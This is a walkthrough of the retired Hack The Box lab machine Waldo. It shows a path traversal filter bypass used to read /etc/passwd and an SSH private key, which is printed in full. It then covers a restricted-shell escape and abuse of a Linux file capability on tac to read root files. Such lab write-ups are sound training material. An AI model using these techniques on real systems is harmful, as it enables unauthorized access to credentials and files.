Hack The Box: Waldo

This is a writeup of the retired Hack The Box Waldo machine.

Hack The Box: Waldo

About

Name: Waldo
IP Address: 10.10.10.87
Operating System: Linux
Difficulty: 5/10
Base Points: 30

Enumeration

Let's first do a NMAP scan to see what ports are open and what services are running on the target.

root@kali:~# nmap -sC -sV 10.10.10.87
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 19:32 CET
Nmap scan report for 10.10.10.87
Host is up (0.038s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE        VERSION
22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)                                           
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Looks like a web server is running port 80. Let's check it out and see if we can get an initial foothold.

Initial Foothold

The only thing this website allows you to do is create different lists. Probably with the help of javascript and PHP.

Using the developer tool in Firefox we can see the javascript being used.

Here we can see a couple of interesting functions: readDir() and readFile().

function readDir(path){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","dirRead.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('path=' + path);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}
function readFile(file){ 
	var xhttp = new XMLHttpRequest();
	xhttp.open("POST","fileRead.php",false);
	xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xhttp.send('file=' + file);
	if (xhttp.readyState === 4 && xhttp.status === 200) {
		return xhttp.responseText;
	}else{
	}
}

readDir() makes a POST request to dirRead.php and readFile() makes a POST request to fileRead.php.

My first idea was to try and read /etc/passwd but that didn't work. But maybe we can read the .php files used by the web application in order to leak the source code?

I used Burp Suite to accomplish this but you can also do the same thing using the console in the web developer tool in Firefox.

So we got a response and can view the source of .php files we have access to. The response is JSON encoded, but after decoding the response we get the following .php code

<?php

if($_SERVER['REQUEST_METHOD'] === \"POST\"){
	$fileContent['file'] = false;
	header('Content-Type: application/json');
	if(isset($_POST['file'])){
		header('Content-Type: application/json');
		$_POST['file'] = str_replace( array(\"../\", \"..\\\"\"), \"\", $_POST['file']);
		if(strpos($_POST['file'], \"user.txt\") === false){
			$file = fopen(\"/var/www/html/\" . $_POST['file'], \"r\");
			$fileContent['file'] = fread($file,filesize($_POST['file']));  
			fclose();
		}
	}
	echo json_encode($fileContent);
}

The reason we can't read /etc/passwd is the following line:

$_POST['file'] = str_replace( array(\"../\", \"..\\\"\"), \"\", $_POST['file']);

This is easily bypassed though since it's only a string-replace. The code strips ../ from the file parameter but if we use ....// instead of  ../ we will bypass the "security check" since the str_replace function will strip ../ leaving us with ../ - excatly what we want.

Let's try and bypass the check and read /etc/passwd:

After decoding the JSON response we're left with the following output:

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

Here we can see that the user nobody exist and also has a home directory. Let's try and use the readDir() function to list the contents of this directory.

I tried to read the user.txt using the readFile() function but that didn't work.
But the .ssh directory is very interesting:

Reading authorized_keys we see monitor@waldo suggesting that monitor is a valid user:

We also found the file .monitor and sure enough, it's a private key.

After decoding the JSON response we're left with the following private key:

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----

I tried logging in as monitor with this private key but that didn't work.
We can however use this private key to SSH in as the nobody user.

root@kali:~# ssh -i private_key nobody@10.10.10.87
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$

We now have an initial foothold and can also cat the user.txt file.

waldo:~$ cat user.txt
32768b...3e9d24

Privilege Escalation

After enumerating the machine and reading the SSH config we can see that the user monitor is in fact allowed to SSH in:

# Example of overriding settings on a per-user basis
#Match User anoncvs
#       X11Forwarding no
#       AllowTcpForwarding no
#       PermitTTY no
#       ForceCommand cvs server
AllowUsers nobody

This is weird since we tried to SSH in as monitor earlier but couldn't get in. The sshd config also reveals that it's listening on port 8888 - but we connected to port 22...

What if we try to ssh in as the user monitor locally using the private key we used earlier?

waldo:~/.ssh$ ssh -i .monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.
          @@@,@@/ %
       #*/%@@@@/.&@@,
   @@@#@@#&@#&#&@@@,*%/
   /@@@&###########@@&*(*
 (@################%@@@@@.     /**
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
 %@@@@%##########&@@@....                 .#%#@@@@@@@#
 @@&%#########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
                          *@@,,,,,,,.,****,..,,,,,,,,&@@
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@
                           .@@,,,,,,,,,,,,,...,,,,,,@@
                            ,@@@,,,,,,,,,,,,,,,,.(@@@
                              %@@@@&(,,,,*(#&@@@@@@,
                              
                            Here's Waldo, where's root?
Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1

Well now. We are now stuck in a restricted shell and need to find a way to break out.

monitor@waldo:~$ id
-rbash: id: command not found
monitor@waldo:~$ whoami
-rbash: whoami: command not found

After trying several different techniques to break out of the restricted shell I was made aware that SSH can in fact execute a command upon connecting to a server.
We can potentially use this to bypass the restricted shell.

This is taken from the man pages of ssh:

-t      Force pseudo-terminal allocation. This can be used to execute arbitrary
        screen-based programs on a remote machine, which can be very useful, e.g. when implementing menu services.  
        Multiple -t options force tty allocation, even if ssh has no local tty.

Just close the current SSH session and connect again using the -t parameter. Overwrite the SHELL variable with /bin/bash and restore the PATH variable.

monitor@waldo:~$ exit
exit
Connection to localhost closed.
waldo:~/.ssh$ ssh -i .monitor monitor@localhost -t bash
monitor@waldo:~$ echo $SHELL
/bin/rbash
monitor@waldo:~$ export SHELL=/bin/bash
monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
monitor@waldo:~$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH
monitor@waldo:~$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

After an extensive enumeration of this machine I was really, really stuck for a while. I couldn't for the life of me figure out how to priv esc.

But after a while (and a lot of reading) I stumbled upon a thing called capabilities. I had never heard about this security feature before so I learned something new! Yay!

Taken from the Arch Wiki about capabilities:

Capabilities provide fine-grained control over superuser permissions, allowing use of the root user to be avoided. Software developers are encouraged to replace uses of the powerful setuid attribute in a system binary with a more minimal set of capabilities. Many packages make use of capabilities, such as CAP_NET_RAW being used for the ping binary provided by iputils. This enables e.g. ping to be run by a normal user (as with the setuid method), while at the same time limiting the security consequences of a potential vulnerability in ping

So capabilities provides you with better control over what an application is allowed to do. Instead of using the setuid bit for everything, capabilities can give an application the specific permission needed without running the application as root with setuid.

We do however need to find which files has capabilities set.

monitor@waldo:~$ which getcap
/sbin/getcap
monitor@waldo:~$ getcap -r / 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

Here we can also see the specific capability set: cap_dac_read_search.

From the man pages of capabilities:

CAP_DAC_READ_SEARCH
              * Bypass file read permission checks and directory read and
                execute permission checks;
              * invoke open_by_handle_at(2);
              * use the linkat(2) AT_EMPTY_PATH flag to create a link to a
                file referred to by a file descriptor.

Awesome! Using /usr/bin/tac we can read whatever file we need, since this capability bypasses file and directory read permission checks.
And also, the file is probably named tac since it's cat backwards.

We can now tac (cat) root.txt and get the final flag.

monitor@waldo:~$ tac /root/root.txt
8fb67c...584f6c

Further reading

https://nets.ec/Unsafe_string_replacement

https://acrobertssec.wordpress.com/2016/01/26/bypassing-basic-protections/

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/

http://man7.org/linux/man-pages/man7/capabilities.7.html